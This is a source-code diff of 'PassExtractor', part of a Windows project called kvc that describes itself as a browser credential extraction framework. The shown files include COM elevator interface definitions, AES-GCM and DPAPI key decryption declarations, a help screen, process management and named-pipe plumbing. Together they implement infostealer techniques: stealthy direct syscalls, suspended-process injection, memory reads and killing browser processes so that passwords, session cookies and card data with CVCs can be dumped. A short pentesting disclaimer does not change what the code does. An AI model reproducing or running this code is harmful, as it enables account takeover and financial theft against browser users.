Payments, // Use COM elevation for payment information
All // Default behavior - use appropriate method per browser
};
// Browser-specific configuration and COM interface definitions
namespace Browser
{
struct Config
{
std::string name;
std::wstring processName;
CLSID clsid;
IID iid;
fs::path userDataSubPath;
};
const std::unordered_map<std::string, Config>& GetConfigs();
Config GetConfigForCurrentProcess();
}
// Cryptographic operations for AES-GCM decryption and key management
namespace Crypto
{
constexpr size_t KEY_SIZE = 32;
constexpr size_t GCM_IV_LENGTH = 12;
constexpr size_t GCM_TAG_LENGTH = 16;
std::vector<uint8_t> DecryptGcm(const std::vector<uint8_t>& key, const std::vector<uint8_t>& blob);
std::vector<uint8_t> GetEncryptedMasterKey(const fs::path& localStatePath);
}
class BrowserManager
{
public:
BrowserManager();
const Browser::Config& getConfig() const noexcept { return m_config; }
fs::path getUserDataRoot() const;
private:
Browser::Config m_config;
};
// Master key decryptor with selective strategy per data type
class MasterKeyDecryptor
{
public:
explicit MasterKeyDecryptor(PipeLogger& logger);
~MasterKeyDecryptor();
// Main decryption interface - intelligently chooses COM or DPAPI
std::vector<uint8_t> Decrypt(const Browser::Config& config, const fs::path& localStatePath, DataType dataType = DataType::All);
private:
PipeLogger& m_logger;
bool m_comInitialized = false;
std::vector<uint8_t> DecryptWithCOM(const Browser::Config& config, const std::vector<uint8_t>& encryptedKeyBlob);
std::vector<uint8_t> DecryptWithDPAPI(const fs::path& localStatePath);
};
}
// COM interface definitions
enum class ProtectionLevel
{
None = 0,
PathValidationOld = 1,
PathValidation = 2,
Max = 3
};
MIDL_INTERFACE("A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C")
IOriginalBaseElevator : public IUnknown
{
public:
virtual HRESULT STDMETHODCALLTYPE RunRecoveryCRXElevated(const WCHAR*, const WCHAR*, const WCHAR*, const WCHAR*, DWORD, ULONG_PTR*) = 0;
virtual HRESULT STDMETHODCALLTYPE EncryptData(ProtectionLevel, const BSTR, BSTR*, DWORD*) = 0;
virtual HRESULT STDMETHODCALLTYPE DecryptData(const BSTR, BSTR*, DWORD*) = 0;
};
MIDL_INTERFACE("E12B779C-CDB8-4F19-95A0-9CA19B31A8F6")
IEdgeElevatorBase_Placeholder : public IUnknown
{
public:
virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod1_Unknown(void) = 0;
virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod2_Unknown(void) = 0;
virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod3_Unknown(void) = 0;
};
MIDL_INTERFACE("A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C")
IEdgeIntermediateElevator : public IEdgeElevatorBase_Placeholder
{
public:
virtual HRESULT STDMETHODCALLTYPE RunRecoveryCRXElevated(const WCHAR*, const WCHAR*, const WCHAR*, const WCHAR*, DWORD, ULONG_PTR*) = 0;
virtual HRESULT STDMETHODCALLTYPE EncryptData(ProtectionLevel, const BSTR, BSTR*, DWORD*) = 0;
virtual HRESULT STDMETHODCALLTYPE DecryptData(const BSTR, BSTR*, DWORD*) = 0;
};
MIDL_INTERFACE("C9C2B807-7731-4F34-81B7-44FF7779522B")
IEdgeElevatorFinal : public IEdgeIntermediateElevator {};
#endif // BROWSER_CRYPTO_H

297
kvc/BrowserHelp.cpp Normal file
View File

@@ -0,0 +1,297 @@
// BrowserHelp.cpp - Comprehensive help system for PassExtractor
#include <windows.h>
#include "BrowserHelp.h"
#include <iostream>
#include <iomanip>
namespace BrowserHelp
{
void PrintUsage(std::wstring_view programName) noexcept
{
PrintBasicUsage(programName);
PrintBrowserTargets();
PrintCommandLineOptions();
PrintOutputFormat();
PrintTechnicalFeatures();
PrintUsageExamples(programName);
PrintRequirements();
PrintBrowserSpecificNotes();
PrintSecurityNotice();
PrintFooter();
}
void PrintHeader() noexcept
{
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
CONSOLE_SCREEN_BUFFER_INFO csbi;
GetConsoleScreenBufferInfo(hConsole, &csbi);
WORD originalColor = csbi.wAttributes;
const int width = 80;
// Blue header border
SetConsoleTextAttribute(hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY);
std::wcout << L"\n";
std::wcout << L"================================================================================\n";
// Centered text printing
auto printCentered = [&](const std::wstring& text) {
int textLen = static_cast<int>(text.length());
int padding = (width - textLen) / 2;
if (padding < 0) padding = 0;
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_INTENSITY);
std::wcout << std::wstring(padding, L' ') << text << L"\n";
};
printCentered(L"PassExtractor - Advanced Browser Credential Extraction Framework");
printCentered(L"Multi-Browser Password, Cookie & Payment Data Recovery Tool");
printCentered(L"Chrome, Brave, Edge Support via COM Elevation & DPAPI Techniques");
SetConsoleTextAttribute(hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY);
std::wcout << L"================================================================================\n\n";
SetConsoleTextAttribute(hConsole, originalColor);
}
void PrintBasicUsage(std::wstring_view programName) noexcept
{
PrintSectionHeader(L"USAGE");
std::wcout << L" " << programName << L" <browser_target> [options]\n";
std::wcout << L" " << programName << L" --help\n\n";
}
void PrintBrowserTargets() noexcept
{
PrintSectionHeader(L"BROWSER TARGETS");
PrintCommandLine(L"chrome", L"Google Chrome (COM Elevation + AES-GCM)");
PrintCommandLine(L"brave", L"Brave Browser (COM Elevation + AES-GCM)");
PrintCommandLine(L"edge", L"Microsoft Edge (Split-Key Strategy: COM + DPAPI)");
PrintCommandLine(L"all", L"All installed browsers (automatic detection)");
std::wcout << L"\n";
}
void PrintCommandLineOptions() noexcept
{
PrintSectionHeader(L"OPTIONS");
PrintCommandLine(L"-o, --output-path <path>", L"Output directory (default: .\\output\\)");
PrintCommandLine(L"-v, --verbose", L"Enable detailed debug output");
PrintCommandLine(L"--json-only", L"Extract only JSON files (skip reports)");
PrintCommandLine(L"--quiet", L"Minimal output (errors only)");
PrintCommandLine(L"--profile <name>", L"Extract specific browser profile only");
PrintCommandLine(L"-h, --help", L"Show this help message");
std::wcout << L"\n";
}
void PrintOutputFormat() noexcept
{
PrintSectionHeader(L"OUTPUT FORMAT");
std::wcout << L" JSON Files (all browsers):\n";
std::wcout << L" passwords.json - Decrypted login credentials\n";
std::wcout << L" cookies.json - Session cookies with tokens\n";
std::wcout << L" payments.json - Credit card data with CVCs\n\n";
}
void PrintTechnicalFeatures() noexcept
{
PrintSectionHeader(L"TECHNICAL FEATURES");
std::wcout << L" - COM elevation service exploitation (Chrome/Brave/Edge cookies+payments)\n";
std::wcout << L" - DPAPI extraction for Edge passwords (orchestrator-side)\n";
std::wcout << L" - Split-key strategy for Edge (different keys per data type)\n";
std::wcout << L" - Direct syscall invocation for stealth operations\n";
std::wcout << L" - Process injection with custom PE loader\n";
std::wcout << L" - AES-GCM decryption with v10/v20 scheme support\n";
std::wcout << L" - Automatic profile discovery and enumeration\n";
std::wcout << L" - Multi-threaded extraction pipeline\n\n";
}
void PrintUsageExamples(std::wstring_view programName) noexcept
{
PrintSectionHeader(L"USAGE EXAMPLES");
const int commandWidth = 50;
auto printLine = [&](const std::wstring& command, const std::wstring& description) {
std::wcout << L" " << std::left << std::setw(commandWidth)
<< (std::wstring(programName) + L" " + command)
<< L"# " << description << L"\n";
};
printLine(L"chrome", L"Extract Chrome to .\\output\\");
printLine(L"edge -o C:\\reports", L"Edge to custom directory");
printLine(L"brave --verbose", L"Brave with debug output");
printLine(L"all", L"All browsers to .\\output\\");
printLine(L"chrome -o D:\\data -v", L"Combined options");
printLine(L"edge --json-only", L"Edge JSON files only");
printLine(L"chrome --profile Default", L"Extract specific profile");
printLine(L"all --quiet -o C:\\dumps", L"Silent extraction to custom path");
std::wcout << L"\n";
}
void PrintRequirements() noexcept
{
PrintSectionHeader(L"REQUIREMENTS");
std::wcout << L" - Windows 10/11 (x64 architecture)\n";
std::wcout << L" - Administrator privileges required\n";
std::wcout << L" - kvc_crypt.dll (security module)\n";
std::wcout << L" - Target browser must be installed\n\n";
}
void PrintBrowserSpecificNotes() noexcept
{
PrintSectionHeader(L"BROWSER-SPECIFIC BEHAVIOR");
std::wcout << L" Chrome/Brave:\n";
std::wcout << L" - Single COM-elevated key for all data types\n";
std::wcout << L" - Requires browser process for COM elevation\n";
std::wcout << L" - Extracts passwords, cookies, payment cards\n\n";
std::wcout << L" Edge:\n";
std::wcout << L" - Split-key strategy (COM + DPAPI)\n";
std::wcout << L" - COM key: cookies and payment data\n";
std::wcout << L" - DPAPI key: passwords (no browser process needed)\n\n";
}
void PrintSecurityNotice() noexcept
{
PrintSectionHeader(L"SECURITY & LEGAL NOTICE");
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
CONSOLE_SCREEN_BUFFER_INFO csbi;
GetConsoleScreenBufferInfo(hConsole, &csbi);
WORD originalColor = csbi.wAttributes;
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_INTENSITY);
std::wcout << L" WARNING: ADVANCED CREDENTIAL EXTRACTION TOOL\n\n";
SetConsoleTextAttribute(hConsole, originalColor);
std::wcout << L" CAPABILITIES:\n";
std::wcout << L" - Extracts encrypted browser credentials (passwords, cookies, payments)\n";
std::wcout << L" - Uses COM elevation bypass and DPAPI extraction techniques\n";
std::wcout << L" - Direct syscall invocation for stealth operations\n";
std::wcout << L" - Process injection and memory manipulation\n\n";
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY);
std::wcout << L" LEGAL & ETHICAL RESPONSIBILITY:\n";
SetConsoleTextAttribute(hConsole, originalColor);
std::wcout << L" - Intended for authorized penetration testing and security research only\n";
std::wcout << L" - User assumes full legal responsibility for all actions performed\n";
std::wcout << L" - Ensure proper authorization before using on any system\n";
std::wcout << L" - Misuse may violate computer crime laws in your jurisdiction\n\n";
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_INTENSITY);
std::wcout << L" By using this tool, you acknowledge understanding and accept full responsibility.\n\n";
SetConsoleTextAttribute(hConsole, originalColor);
}
void PrintFooter() noexcept
{
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
CONSOLE_SCREEN_BUFFER_INFO csbi;
GetConsoleScreenBufferInfo(hConsole, &csbi);
WORD originalColor = csbi.wAttributes;
const int width = 80;
SetConsoleTextAttribute(hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY);
std::wcout << L"+" << std::wstring(width-2, L'-') << L"+\n";
auto printCenteredFooter = [&](const std::wstring& text) {
int textLen = static_cast<int>(text.length());
int padding = (width - 2 - textLen) / 2;
if (padding < 0) padding = 0;
SetConsoleTextAttribute(hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY);
std::wcout << L"|";
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_INTENSITY);
std::wcout << std::wstring(padding, L' ') << text
<< std::wstring(width - 2 - padding - textLen, L' ');
SetConsoleTextAttribute(hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY);
std::wcout << L"|\n";
};
printCenteredFooter(L"Support this project - a small donation is greatly appreciated");
printCenteredFooter(L"and helps sustain private research builds.");
printCenteredFooter(L"GitHub source code: https://github.com/wesmar/kvc/");
printCenteredFooter(L"Professional services: marek@wesolowski.eu.org");
SetConsoleTextAttribute(hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY);
std::wcout << L"|";
std::wstring paypal = L"PayPal: ";
std::wstring paypalLink = L"paypal.me/ext1";
std::wstring middle = L" ";
std::wstring revolut = L"Revolut: ";
std::wstring revolutLink = L"revolut.me/marekb92";
int totalLen = static_cast<int>(paypal.length() + paypalLink.length() +
middle.length() + revolut.length() + revolutLink.length());
int padding = (width - totalLen - 2) / 2;
if (padding < 0) padding = 0;
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_INTENSITY);
std::wcout << std::wstring(padding, L' ') << paypal;
SetConsoleTextAttribute(hConsole, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
std::wcout << paypalLink;
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_INTENSITY);
std::wcout << middle << revolut;
SetConsoleTextAttribute(hConsole, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
std::wcout << revolutLink;
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_INTENSITY);
std::wcout << std::wstring(width - totalLen - padding - 2, L' ');
SetConsoleTextAttribute(hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY);
std::wcout << L"|\n";
std::wcout << L"+" << std::wstring(width-2, L'-') << L"+\n\n";
SetConsoleTextAttribute(hConsole, originalColor);
}
void PrintSectionHeader(const wchar_t* title) noexcept
{
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
CONSOLE_SCREEN_BUFFER_INFO csbi;
GetConsoleScreenBufferInfo(hConsole, &csbi);
WORD originalColor = csbi.wAttributes;
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY);
std::wcout << L"=== " << title << L" ===\n";
SetConsoleTextAttribute(hConsole, originalColor);
}
void PrintCommandLine(const wchar_t* command, const wchar_t* description) noexcept
{
const int commandWidth = 50;
std::wcout << L" " << std::left << std::setw(commandWidth)
<< command << L"- " << description << L"\n";
}
void PrintNote(const wchar_t* note) noexcept
{
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
CONSOLE_SCREEN_BUFFER_INFO csbi;
GetConsoleScreenBufferInfo(hConsole, &csbi);
WORD originalColor = csbi.wAttributes;
SetConsoleTextAttribute(hConsole, FOREGROUND_INTENSITY);
std::wcout << L" " << note << L"\n";
SetConsoleTextAttribute(hConsole, originalColor);
}
void PrintWarning(const wchar_t* warning) noexcept
{
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
CONSOLE_SCREEN_BUFFER_INFO csbi;
GetConsoleScreenBufferInfo(hConsole, &csbi);
WORD originalColor = csbi.wAttributes;
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_INTENSITY);
std::wcout << L" " << warning << L"\n";
SetConsoleTextAttribute(hConsole, originalColor);
}
}

32
kvc/BrowserHelp.h Normal file
View File

@@ -0,0 +1,32 @@
// BrowserHelp.h - Comprehensive help and usage information for PassExtractor
#ifndef BROWSER_HELP_H
#define BROWSER_HELP_H
#include <string>
namespace BrowserHelp
{
// Print complete usage information with formatting and colors
void PrintUsage(std::wstring_view programName) noexcept;
// Section printing helpers
void PrintHeader() noexcept;
void PrintBasicUsage(std::wstring_view programName) noexcept;
void PrintBrowserTargets() noexcept;
void PrintCommandLineOptions() noexcept;
void PrintOutputFormat() noexcept;
void PrintTechnicalFeatures() noexcept;
void PrintUsageExamples(std::wstring_view programName) noexcept;
void PrintRequirements() noexcept;
void PrintBrowserSpecificNotes() noexcept;
void PrintSecurityNotice() noexcept;
void PrintFooter() noexcept;
// Formatting helpers
void PrintSectionHeader(const wchar_t* title) noexcept;
void PrintCommandLine(const wchar_t* command, const wchar_t* description) noexcept;
void PrintNote(const wchar_t* note) noexcept;
void PrintWarning(const wchar_t* warning) noexcept;
}
#endif // BROWSER_HELP_H

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,207 @@
// BrowserProcessManager.cpp - Browser process management and cleanup operations
#include "BrowserProcessManager.h"
#include "syscalls.h"
#include <stdexcept>
#ifndef IMAGE_FILE_MACHINE_AMD64
#define IMAGE_FILE_MACHINE_AMD64 0x8664
#endif
#ifndef IMAGE_FILE_MACHINE_I386
#define IMAGE_FILE_MACHINE_I386 0x014c
#endif
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
// Handle cleanup using direct syscall
void HandleDeleter::operator()(HANDLE h) const noexcept
{
if (h && h != INVALID_HANDLE_VALUE)
NtClose_syscall(h);
}
// Constructor initializes target process context
TargetProcess::TargetProcess(const Configuration& config, const Console& console)
: m_config(config), m_console(console) {}
// Creates suspended browser process for safe injection
void TargetProcess::createSuspended()
{
m_console.Debug("Creating suspended " + m_config.browserDisplayName + " process.");
m_console.Debug("Target executable path: " + Utils::WStringToUtf8(m_config.browserDefaultExePath));
STARTUPINFOW si{};
PROCESS_INFORMATION pi{};
si.cb = sizeof(si);
if (!CreateProcessW(m_config.browserDefaultExePath.c_str(), nullptr, nullptr, nullptr,
FALSE, CREATE_SUSPENDED, nullptr, nullptr, &si, &pi))
throw std::runtime_error("CreateProcessW failed. Error: " + std::to_string(GetLastError()));
m_hProcess.reset(pi.hProcess);
m_hThread.reset(pi.hThread);
m_pid = pi.dwProcessId;
m_console.Debug("Created suspended process PID: " + std::to_string(m_pid));
checkArchitecture();
}
// Terminates target process via direct syscall
void TargetProcess::terminate()
{
if (m_hProcess)
{
m_console.Debug("Terminating browser PID=" + std::to_string(m_pid) + " via direct syscall.");
NtTerminateProcess_syscall(m_hProcess.get(), 0);
m_console.Debug(m_config.browserDisplayName + " terminated by orchestrator.");
}
}
// Validates matching x64 architecture
void TargetProcess::checkArchitecture()
{
USHORT processArch = 0, nativeMachine = 0;
auto fnIsWow64Process2 = (decltype(&IsWow64Process2))GetProcAddress(
GetModuleHandleW(L"kernel32.dll"), "IsWow64Process2");
if (!fnIsWow64Process2 || !fnIsWow64Process2(m_hProcess.get(), &processArch, &nativeMachine))
throw std::runtime_error("Failed to determine target process architecture.");
m_arch = (processArch == IMAGE_FILE_MACHINE_UNKNOWN) ? nativeMachine : processArch;
constexpr USHORT orchestratorArch = IMAGE_FILE_MACHINE_AMD64;
if (m_arch != orchestratorArch)
throw std::runtime_error("Architecture mismatch. Orchestrator is x64 but target is " +
std::string(getArchName(m_arch)));
m_console.Debug("Architecture match: Orchestrator=x64, Target=" + std::string(getArchName(m_arch)));
}
// Returns human-readable architecture name
const char* TargetProcess::getArchName(USHORT arch) const noexcept
{
switch (arch)
{
case IMAGE_FILE_MACHINE_AMD64: return "x64";
case IMAGE_FILE_MACHINE_I386: return "x86";
default: return "Unknown";
}
}
// Terminates all browser processes matching the target executable name
void KillBrowserProcesses(const Configuration& config, const Console& console)
{
console.Debug("Terminating all browser processes to release file locks...");
UniqueHandle hCurrentProc;
HANDLE nextProcHandle = nullptr;
int processes_terminated = 0;
while (NT_SUCCESS(NtGetNextProcess_syscall(hCurrentProc.get(), PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_TERMINATE,
0, 0, &nextProcHandle)))
{
UniqueHandle hNextProc(nextProcHandle);
hCurrentProc = std::move(hNextProc);
std::vector<BYTE> buffer(sizeof(UNICODE_STRING_SYSCALLS) + MAX_PATH * 2);
auto imageName = reinterpret_cast<PUNICODE_STRING_SYSCALLS>(buffer.data());
if (!NT_SUCCESS(NtQueryInformationProcess_syscall(hCurrentProc.get(), ProcessImageFileName,
imageName, (ULONG)buffer.size(), NULL)) ||
imageName->Length == 0)
continue;
fs::path p(std::wstring(imageName->Buffer, imageName->Length / sizeof(wchar_t)));
if (_wcsicmp(p.filename().c_str(), config.browserProcessName.c_str()) != 0)
continue;
PROCESS_BASIC_INFORMATION pbi{};
if (!NT_SUCCESS(NtQueryInformationProcess_syscall(hCurrentProc.get(), ProcessBasicInformation,
&pbi, sizeof(pbi), nullptr)) ||
!pbi.PebBaseAddress)
continue;
console.Debug("Found and terminated browser process PID: " + std::to_string((DWORD)pbi.UniqueProcessId));
NtTerminateProcess_syscall(hCurrentProc.get(), 0);
processes_terminated++;
}
if (processes_terminated > 0)
{
console.Debug("Terminated " + std::to_string(processes_terminated) + " browser processes. Waiting for file locks to release.");
Sleep(2000);
}
}
// Terminates browser network service processes that hold database locks
void KillBrowserNetworkService(const Configuration& config, const Console& console)
{
console.Debug("Scanning for and terminating browser network services...");
UniqueHandle hCurrentProc;
HANDLE nextProcHandle = nullptr;
int processes_terminated = 0;
while (NT_SUCCESS(NtGetNextProcess_syscall(hCurrentProc.get(), PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_TERMINATE,
0, 0, &nextProcHandle)))
{
UniqueHandle hNextProc(nextProcHandle);
hCurrentProc = std::move(hNextProc);
std::vector<BYTE> buffer(sizeof(UNICODE_STRING_SYSCALLS) + MAX_PATH * 2);
auto imageName = reinterpret_cast<PUNICODE_STRING_SYSCALLS>(buffer.data());
if (!NT_SUCCESS(NtQueryInformationProcess_syscall(hCurrentProc.get(), ProcessImageFileName,
imageName, (ULONG)buffer.size(), NULL)) ||
imageName->Length == 0)
continue;
fs::path p(std::wstring(imageName->Buffer, imageName->Length / sizeof(wchar_t)));
if (_wcsicmp(p.filename().c_str(), config.browserProcessName.c_str()) != 0)
continue;
PROCESS_BASIC_INFORMATION pbi{};
if (!NT_SUCCESS(NtQueryInformationProcess_syscall(hCurrentProc.get(), ProcessBasicInformation,
&pbi, sizeof(pbi), nullptr)) ||
!pbi.PebBaseAddress)
continue;
PEB peb{};
if (!NT_SUCCESS(NtReadVirtualMemory_syscall(hCurrentProc.get(), pbi.PebBaseAddress, &peb, sizeof(peb), nullptr)))
continue;
RTL_USER_PROCESS_PARAMETERS params{};
if (!NT_SUCCESS(NtReadVirtualMemory_syscall(hCurrentProc.get(), peb.ProcessParameters, &params, sizeof(params), nullptr)))
continue;
std::vector<wchar_t> cmdLine(params.CommandLine.Length / sizeof(wchar_t) + 1, 0);
if (params.CommandLine.Length > 0 &&
!NT_SUCCESS(NtReadVirtualMemory_syscall(hCurrentProc.get(), params.CommandLine.Buffer,
cmdLine.data(), params.CommandLine.Length, nullptr)))
continue;
if (wcsstr(cmdLine.data(), L"--utility-sub-type=network.mojom.NetworkService"))
{
console.Debug("Found and terminated network service PID: " + std::to_string((DWORD)pbi.UniqueProcessId));
NtTerminateProcess_syscall(hCurrentProc.get(), 0);
processes_terminated++;
}
}
if (processes_terminated > 0)
{
console.Debug("Termination sweep complete. Waiting for file locks to fully release.");
Sleep(1500);
}
}
// Checks if Windows native SQLite library is available
bool CheckWinSQLite3Available()
{
HMODULE hWinSQLite = LoadLibraryW(L"winsqlite3.dll");
if (hWinSQLite)
{
FreeLibrary(hWinSQLite);
return true;
}
return false;
}

View File

@@ -0,0 +1,52 @@
// BrowserProcessManager.h - Browser process lifecycle and cleanup management
#ifndef BROWSER_PROCESS_MANAGER_H
#define BROWSER_PROCESS_MANAGER_H
#include <Windows.h>
#include "OrchestratorCore.h"
#include "CommunicationLayer.h"
// RAII wrapper for Windows handle management with syscall-based cleanup
struct HandleDeleter
{
void operator()(HANDLE h) const noexcept;
};
using UniqueHandle = std::unique_ptr<void, HandleDeleter>;
// Manages target browser process lifecycle
class TargetProcess
{
public:
TargetProcess(const Configuration& config, const Console& console);
// Creates browser process in suspended state for injection
void createSuspended();
// Terminates the target process using direct syscall
void terminate();
HANDLE getProcessHandle() const noexcept { return m_hProcess.get(); }
private:
// Validates architecture compatibility between orchestrator and target
void checkArchitecture();
const char* getArchName(USHORT arch) const noexcept;
const Configuration& m_config;
const Console& m_console;
DWORD m_pid = 0;
UniqueHandle m_hProcess;
UniqueHandle m_hThread;
USHORT m_arch = 0;
};
// Terminates all running browser processes to release database file locks
void KillBrowserProcesses(const Configuration& config, const Console& console);
// Terminates browser network service which often holds database locks
void KillBrowserNetworkService(const Configuration& config, const Console& console);
// Checks availability of Windows native SQLite library
bool CheckWinSQLite3Available();
#endif // BROWSER_PROCESS_MANAGER_H

436
kvc/CommunicationLayer.cpp Normal file
View File

@@ -0,0 +1,436 @@
// CommunicationLayer.cpp - Console and pipe communication implementation
#include "CommunicationLayer.h"
#include "syscalls.h"
#include <ShlObj.h>
#include <Rpc.h>
#include <iostream>
#include <algorithm>
#pragma comment(lib, "Rpcrt4.lib")
constexpr DWORD MODULE_COMPLETION_TIMEOUT_MS = 10000;
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
// Utility function implementations
namespace Utils
{
std::string u8string_to_string(const std::u8string& u8str) noexcept
{
return {reinterpret_cast<const char*>(u8str.c_str()), u8str.size()};
}
std::string path_to_api_string(const fs::path& path)
{
return u8string_to_string(path.u8string());
}
fs::path GetLocalAppDataPath()
{
PWSTR path = nullptr;
if (SUCCEEDED(SHGetKnownFolderPath(FOLDERID_LocalAppData, 0, NULL, &path)))
{
fs::path result = path;
CoTaskMemFree(path);
return result;
}
throw std::runtime_error("Failed to get Local AppData path.");
}
std::string WStringToUtf8(std::wstring_view w_sv)
{
if (w_sv.empty()) return {};
int size_needed = WideCharToMultiByte(CP_UTF8, 0, w_sv.data(), static_cast<int>(w_sv.length()),
nullptr, 0, nullptr, nullptr);
std::string utf8_str(size_needed, '\0');
WideCharToMultiByte(CP_UTF8, 0, w_sv.data(), static_cast<int>(w_sv.length()),
&utf8_str[0], size_needed, nullptr, nullptr);
return utf8_str;
}
std::string PtrToHexStr(const void* ptr) noexcept
{
std::ostringstream oss;
oss << "0x" << std::hex << reinterpret_cast<uintptr_t>(ptr);
return oss.str();
}
std::string NtStatusToString(NTSTATUS status) noexcept
{
std::ostringstream oss;
oss << "0x" << std::hex << status;
return oss.str();
}
std::wstring GenerateUniquePipeName()
{
UUID uuid;
UuidCreate(&uuid);
wchar_t* uuidStrRaw = nullptr;
UuidToStringW(&uuid, (RPC_WSTR*)&uuidStrRaw);
std::wstring pipeName = L"\\\\.\\pipe\\" + std::wstring(uuidStrRaw);
RpcStringFreeW((RPC_WSTR*)&uuidStrRaw);
return pipeName;
}
std::string Capitalize(const std::string& str)
{
if (str.empty()) return str;
std::string result = str;
result[0] = static_cast<char>(std::toupper(static_cast<unsigned char>(result[0])));
return result;
}
}
// Console implementation
Console::Console(bool verbose) : m_verbose(verbose), m_hConsole(GetStdHandle(STD_OUTPUT_HANDLE))
{
CONSOLE_SCREEN_BUFFER_INFO consoleInfo;
GetConsoleScreenBufferInfo(m_hConsole, &consoleInfo);
m_originalAttributes = consoleInfo.wAttributes;
}
void Console::Info(const std::string& msg) const { print("[*]", msg, FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_INTENSITY); }
void Console::Success(const std::string& msg) const { print("[+]", msg, FOREGROUND_GREEN | FOREGROUND_INTENSITY); }
void Console::Error(const std::string& msg) const { print("[-]", msg, FOREGROUND_RED | FOREGROUND_INTENSITY); }
void Console::Warn(const std::string& msg) const { print("[!]", msg, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY); }
void Console::Debug(const std::string& msg) const
{
if (m_verbose)
print("[#]", msg, FOREGROUND_RED | FOREGROUND_GREEN);
}
void Console::Relay(const std::string& message) const
{
size_t tagStart = message.find('[');
size_t tagEnd = message.find(']', tagStart);
if (tagStart != std::string::npos && tagEnd != std::string::npos)
{
std::cout << message.substr(0, tagStart);
std::string tag = message.substr(tagStart, tagEnd - tagStart + 1);
WORD color = m_originalAttributes;
if (tag == "[+]") color = FOREGROUND_GREEN | FOREGROUND_INTENSITY;
else if (tag == "[-]") color = FOREGROUND_RED | FOREGROUND_INTENSITY;
else if (tag == "[*]") color = FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_INTENSITY;
else if (tag == "[!]") color = FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY;
SetColor(color);
std::cout << tag;
ResetColor();
std::cout << message.substr(tagEnd + 1) << std::endl;
}
else
{
std::cout << message << std::endl;
}
}
void Console::print(const std::string& tag, const std::string& msg, WORD color) const
{
SetColor(color);
std::cout << tag;
ResetColor();
std::cout << " " << msg << std::endl;
}
void Console::SetColor(WORD attributes) const noexcept { SetConsoleTextAttribute(m_hConsole, attributes); }
void Console::ResetColor() const noexcept { SetConsoleTextAttribute(m_hConsole, m_originalAttributes); }
// PipeCommunicator implementation
PipeCommunicator::PipeCommunicator(const std::wstring& pipeName, const Console& console)
: m_pipeName(pipeName), m_console(console) {}
void PipeCommunicator::create()
{
m_pipeHandle.reset(CreateNamedPipeW(m_pipeName.c_str(), PIPE_ACCESS_DUPLEX,
PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
1, 4096, 4096, 0, nullptr));
if (!m_pipeHandle)
throw std::runtime_error("CreateNamedPipeW failed. Error: " + std::to_string(GetLastError()));
m_console.Debug("Named pipe server created: " + Utils::WStringToUtf8(m_pipeName));
}
void PipeCommunicator::waitForClient()
{
m_console.Debug("Waiting for security module to connect to named pipe.");
if (!ConnectNamedPipe(m_pipeHandle.get(), nullptr) && GetLastError() != ERROR_PIPE_CONNECTED)
throw std::runtime_error("ConnectNamedPipe failed. Error: " + std::to_string(GetLastError()));
m_console.Debug("Security module connected to named pipe.");
}
void PipeCommunicator::sendInitialData(bool isVerbose, const fs::path& outputPath, const std::vector<uint8_t>& edgeDpapiKey)
{
writeMessage(isVerbose ? "VERBOSE_TRUE" : "VERBOSE_FALSE");
writeMessage(Utils::path_to_api_string(outputPath));
// Send DPAPI key as hex string (or "NONE" if empty)
if (!edgeDpapiKey.empty())
{
std::ostringstream oss;
oss << std::hex << std::setfill('0');
for (uint8_t byte : edgeDpapiKey)
oss << std::setw(2) << static_cast<int>(byte);
writeMessage("DPAPI_KEY:" + oss.str());
}
else
{
writeMessage("DPAPI_KEY:NONE");
}
}
void PipeCommunicator::relayMessages()
{
m_console.Debug("Waiting for security module execution. (Pipe: " + Utils::WStringToUtf8(m_pipeName) + ")");
std::cout << std::endl;
const std::string moduleCompletionSignal = "__DLL_PIPE_COMPLETION_SIGNAL__";
DWORD startTime = GetTickCount();
std::string accumulatedData;
char buffer[4096];
bool completed = false;
